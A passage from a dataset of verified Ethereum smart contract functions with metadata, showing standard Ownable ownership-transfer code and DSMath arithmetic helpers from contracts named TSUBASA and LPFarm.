* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://c2eb3dd065f83a0e51efd10f992d06e0d0b961c242c47da47ef2bd97c1e0a9b9 | {
"func_code_index": [
1148,
1301
]
} | 28,597 |
TSUBASA | TSUBASA.sol | 0xaf44786a03b31309bc53a81164428f5f76f4ef5b | Solidity | Ownable | abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSend... | /**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
... | NatSpecMultiLine | transferOwnership | function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
| /**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://c2eb3dd065f83a0e51efd10f992d06e0d0b961c242c47da47ef2bd97c1e0a9b9 | {
"func_code_index": [
1451,
1700
]
} | 28,598 |
LPFarm | LPFarm.sol | 0xc9a6fbcb2541ecb37ed0d67c36d3e7b54a0a09ca | Solidity | DSMath | contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint x, uint y)... | /* pragma solidity >0.4.13; */ | Comment | wmul | function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
| //rounds to zero if x*y < WAD / 2 | LineComment | v0.6.7+commit.b8d736ae | MIT | ipfs://ac937f943c4b17a6818be6777664f412a49bb00f16ed274d30c9d9f6e056c9c5 | {
"func_code_index": [
971,
1089
]
} | 28,599 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.